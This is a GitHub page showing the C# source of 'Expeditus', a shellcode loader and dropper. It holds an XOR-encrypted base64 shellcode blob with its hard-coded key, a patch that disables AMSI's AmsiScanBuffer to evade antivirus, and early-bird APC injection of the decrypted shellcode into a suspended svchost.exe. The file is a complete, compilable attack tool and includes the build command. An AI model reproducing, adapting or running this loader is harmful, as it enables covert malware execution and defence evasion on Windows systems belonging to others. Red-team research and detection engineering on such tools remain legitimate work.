-
Notifications
You must be signed in to change notification settings - Fork 2
/
expeditus.cs
165 lines (126 loc) · 7.18 KB
/
expeditus.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
/*
Loader/dropper for execution of shellcode by injecting it into a legitimate svchost.exe process using the early bird variety of the APC Queue code injection technique
https://github.com/TartarusLabs/Expeditus
james.fell@tartaruslabs.com
To compile it: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:exe /out:expeditus.exe expeditus.cs
Refer to the README.md for full details
*/
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace Expeditus
{
public class Loader
{
// For the process injection we will need to import from kernel32.dll: CreateProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, OpenThread, QueueUserAPC, ResumeThread
// Reference: https://www.pinvoke.net/default.aspx/kernel32/CreateProcess.html
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/VirtualAllocEx.html
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/WriteProcessMemory.html
[DllImport("kernel32.dll")]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/VirtualProtectEx.html
[DllImport("kernel32.dll")]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/OpenThread.html
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenThread(int dwDesiredAccess, bool bInheritHandle, int dwThreadId);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/QueueUserAPC.html
[DllImport("kernel32.dll")]
private static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/ResumeThread.html
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(IntPtr hThread);
// Reference: https://www.pinvoke.net/default.aspx/Structures.PROCESS_INFORMATION
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
// Reference: https://www.pinvoke.net/default.aspx/Structures.STARTUPINFO
private struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
// Simple encrypt/decrypt by XORing with a key
private static byte[] XORcrypt(byte[] ciphertext, byte[] key)
{
byte[] plaintext = ciphertext;
for (int cipherchar = 0; cipherchar < ciphertext.Length; cipherchar++)
{
plaintext[cipherchar] = (byte)((uint)key[cipherchar % key.Length] ^ (uint)ciphertext[cipherchar]);
}
return plaintext;
}
// Create a new suspended svchost.exe process, copy the shellcode into it, add a pointer to the shellcode to the main thread's APC queue and then resume it
private static void inject(byte[] buf)
{
IntPtr numberOfBytesWritten;
uint oldProtect;
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(@"C:\Windows\system32\svchost.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x00000004, IntPtr.Zero, null, ref si, out pi); // CREATE_SUSPENDED = 0x00000004
IntPtr targetBufPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)buf.Length, 0x1000, 0x04); // MEM_COMMIT = 0x1000, PAGE_READWRITE = 0x04
WriteProcessMemory(pi.hProcess, targetBufPtr, buf, buf.Length, out numberOfBytesWritten);
VirtualProtectEx(pi.hProcess, targetBufPtr, buf.Length, 0x20, out oldProtect); // PAGE_EXECUTE_READ = 0x20
IntPtr targetThreadPtr = OpenThread(0x0010, false, (int)pi.dwThreadId); // SET_CONTEXT = 0x0010
QueueUserAPC(targetBufPtr, targetThreadPtr, IntPtr.Zero);
ResumeThread(pi.hThread);
}
public static void Main(string[] args)
{
// Encrypted shellcode. Paste the output of payload-encrypt.ps1 here
string strEncryptedPayload = "lCfnjZWAr2RpZSk+JTk3OTksWLcNJ+87BSDkNnEt4z1EIe4aPyxm0iIlKVisIF6kxVkJE2ZFRSmurWQkaa6GhDcpPiziN0jkJlUtab/v6e1ob2Qh4KgbAyFkuD/vIX0s5CRJLGm/hz8tl6Yl4lHgJ2W/KFmmLFilxC6loGgpbqVRhR2eKGopTGchULQdtzwt7ihLLWi1Di7vZS0s5CR1LGm/JeJh4CdluSQwLjw3PDIuPCg8KTUs6olILjaWhTAuPTMt432NPpqXkDkg2x8cVjZWWm9kKDMh5oIh5ITPZWllIeaBINlqb2XSpcBuACgxIeaAJeyZLt4lEk5om7wp4YUMaGRobz0o30HvD2mavT80JFShIlWpLZevLOCnIJCkIeypLt6DarePm7wt4agOeSQwI+2LLeGWJdP8zRsFlrAg7qApZ2hvLdEGBQtkaWVobyU5JDgn7YsyPzgpWKUCYj0oNYqTAq4hTDtlaC3lK0Bxo2gHLOCDPj8lOSQ4LjQgmqguNCCaoCLtqCnhriXTHKRQ4pawIF62IZqi5Goo32DoeQmavdSEdE9iLt7P8NXym7wt66tMVWMUZeSShR1q3y52GgAOaTwp5r6WsA==";
// Patch amsi.dll to reduce risk of AV detecting us
Amsipatch.amsipatch();
// Decrypt the encrypted shellcode. Be sure to set the same key as used in payload-encrypt.ps1 here
byte[] buf = XORcrypt(System.Convert.FromBase64String(strEncryptedPayload), Encoding.ASCII.GetBytes("hodie"));
// Inject our decrypted shellcode into a new svchost.exe process
inject(buf);
}
}
public class Amsipatch
{
// For modifying a specific procedure inside a library we will need to import from kernel32.dll: LoadLibrary, GetProcAddress, VirtualProtect
// Reference: https://www.pinvoke.net/default.aspx/kernel32/LoadLibrary.html
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string name);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/GetProcAddress.html
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
// Reference: https://www.pinvoke.net/default.aspx/kernel32/VirtualProtect.html
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void amsipatch()
{
uint oldProtect;
byte[] amsiScanBufferPatch = {0x83,0xE0,0x00,0x05,0x31,0x00,0x94,0x90,0x2D,0xDA,0xFF,0x8C,0x10,0xC3}; // See README.md for derivation of this
IntPtr ptrUnpatchedProc = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
VirtualProtect(ptrUnpatchedProc, (UIntPtr)amsiScanBufferPatch.Length, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE = 0x40
Marshal.Copy(amsiScanBufferPatch, 0, ptrUnpatchedProc, amsiScanBufferPatch.Length);
VirtualProtect(ptrUnpatchedProc, (UIntPtr)amsiScanBufferPatch.Length, oldProtect, out oldProtect);
}
}
}